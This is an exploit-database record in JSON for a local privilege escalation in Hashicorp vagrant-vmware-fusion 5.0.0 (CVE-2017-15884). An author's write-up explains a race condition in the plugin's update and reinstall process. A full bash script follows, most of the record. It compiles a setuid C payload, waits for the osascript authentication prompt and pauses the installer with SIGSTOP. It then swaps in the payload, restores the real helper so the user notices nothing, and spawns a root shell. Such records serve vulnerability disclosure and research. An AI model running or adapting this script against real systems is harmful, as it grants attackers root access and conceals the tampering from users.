{"id": "EDB-ID:43222", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "Hashicorp vagrant-vmware-fusion 5.0.0 - Local Privilege Escalation", "description": "", "published": "2017-12-06T00:00:00", "modified": "2017-12-06T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/43222", "reporter": "Mark Wadham", "references": [], "cvelist": ["2017-15884"], "immutableFields": [], "lastseen": "2022-08-16T08:16:04", "viewCount": 51, "enchantments": {"dependencies": {}, "score": {"value": 0.9, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2017-15884"]}]}, "exploitation": null, "vulnersScore": 0.9}, "_state": {"dependencies": 1661190352, "score": 1661184847, "epss": 1678851875}, "_internal": {"score_hash": "8e9fa7050d92253261be3e4b9bf709cf"}, "sourceHref": "https://www.exploit-db.com/download/43222", "sourceData": "# After three CVEs and multiple exploits disclosed to Hashicorp they have finally upped their game with this plugin. Now the previously vulnerable non-root-owned\r\n# ruby code that get executed as root by the sudo helper is no more and the sudo helper itself is one static Go binary with tightly-controlled parameters that\r\n# can't (as far as I can tell) be exploited on its own.\r\n\r\n# However I have discovered that the update mechanism in 5.0.0 is not completely safe. There is a bug in the update mechanism for 5.0.0 that makes it reinstall\r\n# the plugin when you run:\r\n\r\n# $ vagrant plugin update\r\n\r\n# even if there is no update pending. The reinstall includes replacing the sudo helper and re-applying root ownership and the suid bit. This is done via\r\n# osascript with a block of shell as an easy way to show a graphical popup authentication dialog to the user.\r\n\r\n# After the credentials are entered and the permissions are applied the installer for the plugin immediately checks the hash of the sudo helper binary and if it\r\n# doesn't match it removes it. On the surface this seemed to make a race condition impossible however after some poking around I found a way to exploit it.\r\n\r\n# Because the authentication prompt is a guarantee of at least a few seconds pause in the intallation, we can catch this point in time very easily by scanning the\r\n# process list watching for the invocation of osascript. Once we see this we can lay a trap by replacing the sudo helper binary with an exploit payload (remember\r\n# this is always in a non-root-owned directory).\r\n\r\n# As soon as the privileges are set vagrant will execute its checksum and remove the payload, however because we've caught execution at the right time and\r\n# because the installer is a different process from the osascript process we can send a STOP signal to the installer to pause its execution. This means osascript\r\n# will set the permissions and then the installer will not immediately remove the binary, giving us time to move our newly suid-root'd payload out of the way, use\r\n# it to obtain root privileges, and then move the real sudo helper back into place and chmod +s it ourselves so that vagrant doesn't realise anything bad has\r\n# happened.\r\n\r\n# This all takes place in a second or two so the user is unlikely to notice either. Once this is done we simply send a CONT signal to the installer to allow\r\n# it to continue as normal. The plugin is installed correctly with the right permissions, the user didn't see any errors or warnings, and we have an suid\r\n# root payload that we can execute to spawn a root shell.\r\n\r\n# This issue is fixed in version 5.0.1.\r\n\r\n# https://m4.rkw.io/vagrant_vmware_privesc_5.0.0.sh.txt\r\n# cdbdf9e620eba0d897a3ef92b6872dbb0b194eaf548c23953a42678a566f71f0\r\n# -------------------------------------------------------------------------------\r\n#!/bin/bash\r\necho \"########################################\"\r\necho \"vagrant_vmware_fusion 5.0.0 root privesc\"\r\necho \"by m4rkw\"\r\necho \"########################################\"\r\necho\r\necho \"compiling...\"\r\n\r\ncat > vvf.c <<EOF\r\n#include <unistd.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\nint main(int ac, char *av[])\r\n{\r\n setuid(0);\r\n seteuid(0);\r\n if (ac > 1) {\r\n system(\"chown root vagrant_vmware_desktop_sudo_helper_darwin_amd64\");\r\n system(\"chmod 4755 vagrant_vmware_desktop_sudo_helper_darwin_amd64\");\r\n return 0;\r\n }\r\n system(\"rm -f /tmp/vvf_exp\");\r\n execl(\"/bin/bash\",\"bash\",NULL);\r\n return 0;\r\n}\r\nEOF\r\n\r\ngcc -o /tmp/vvf_exp vvf.c\r\nrm -f vvf.c\r\n\r\necho \"waiting for user to initiate vagrant plugin update...\"\r\n\r\nwhile :\r\ndo\r\n r=`ps auxwww |grep '/usr/bin/osascript -e do shell script' |grep 'vagrant_vmware_desktop_sudo_helper_darwin_amd64'`\r\n if [ \"$r\" != \"\" ] ; then\r\n break\r\n fi\r\ndone\r\n\r\npid=`ps auxww |grep './vagrant-vmware-installer_darwin_amd64' |grep -v grep |xargs -L1 |cut -d ' ' -f2`\r\n\r\necho \"pausing installer...\"\r\n\r\nkill -STOP $pid\r\n\r\ncd $HOME/.vagrant.d/gems/2.3.4/gems/vagrant-vmware-fusion-5.0.0/bin\r\n\r\necho \"dropping payload in place of sudo helper binary...\"\r\n\r\nmv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64 vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig\r\nmv -f /tmp/vvf_exp vagrant_vmware_desktop_sudo_helper_darwin_amd64\r\n\r\necho \"waiting for suid...\"\r\n\r\nwhile :\r\ndo\r\n r=`ls -la vagrant_vmware_desktop_sudo_helper_darwin_amd64 |grep -- '-rwsr-xr-x' |grep root`\r\n if [ \"$r\" != \"\" ] ; then\r\n echo \"moving the real helper back into place...\"\r\n mv -f ./vagrant_vmware_desktop_sudo_helper_darwin_amd64 /tmp/vvf_exp\r\n mv -f vagrant_vmware_desktop_sudo_helper_darwin_amd64.orig vagrant_vmware_desktop_sudo_helper_darwin_amd64\r\n\r\n echo \"fixing perms...\"\r\n /tmp/vvf_exp 1\r\n\r\n echo \"allow vagrant to continue...\"\r\n kill -CONT $pid\r\n\r\n echo \"spawning shell...\"\r\n /tmp/vvf_exp\r\n exit 0\r\n fi\r\ndone", "osvdbidlist": [], "exploitType": "local", "verified": true}